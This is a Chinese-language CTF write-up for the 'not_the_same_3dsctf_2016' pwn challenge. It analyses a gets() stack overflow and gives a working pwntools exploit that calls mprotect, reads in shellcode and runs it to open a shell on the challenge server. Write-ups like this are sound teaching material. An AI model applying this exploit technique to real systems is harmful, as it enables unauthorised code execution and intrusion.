not the same 3dsctf 2016
# not the same 3dsctf 2016
# 前提
# 查看文件保护
[*] '/root/pwn/buuctf/not_the_same_3dsctf_2016/not_the_same_3dsctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
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# 静态分析
主函数如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+Fh] [ebp-2Dh]
printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(&v4);
return 0;
}
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# 思路分析
- 目前信息：
main函数内明显的栈溢出漏洞- 函数表内有
mprotect函数 - No PIE
- NX 保护开启
- 思路：
- 可栈溢出，有
mprotect函数，考虑劫持程序流到mprotect函数处给一段地址区域添加读写及执行权限，将shellcode写入该处，二次返回该处执行获得shell
- 可栈溢出，有
# exp
from pwn import *
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/not_the_same_3dsctf_2016/not_the_same_3dsctf_2016'
io = remote('node4.buuoj.cn', 26190)
# io = process(pwnfile)
elf = ELF(pwnfile)
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
# 使用read向内存中写入shellcode
padding = 45
mem_addr = 0x080EB000
mem_len = 0x1000
mem_type = 7
pop_3times_ret = 0x0806FCC8
# pop 3次将上个函数的3个参数弹出，调整栈布局
shellcode = asm(shellcraft.sh())
payload = flat(['a'*padding, mprotect_addr, pop_3times_ret, mem_addr, mem_len,mem_type, read_addr, pop_3times_ret, 0, mem_addr, 0x100, mem_addr])
io.sendline(payload)
io.sendline(shellcode)
# 发送shellcode
io.interactive()
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上次更新: 2022/08/15, 00:29:49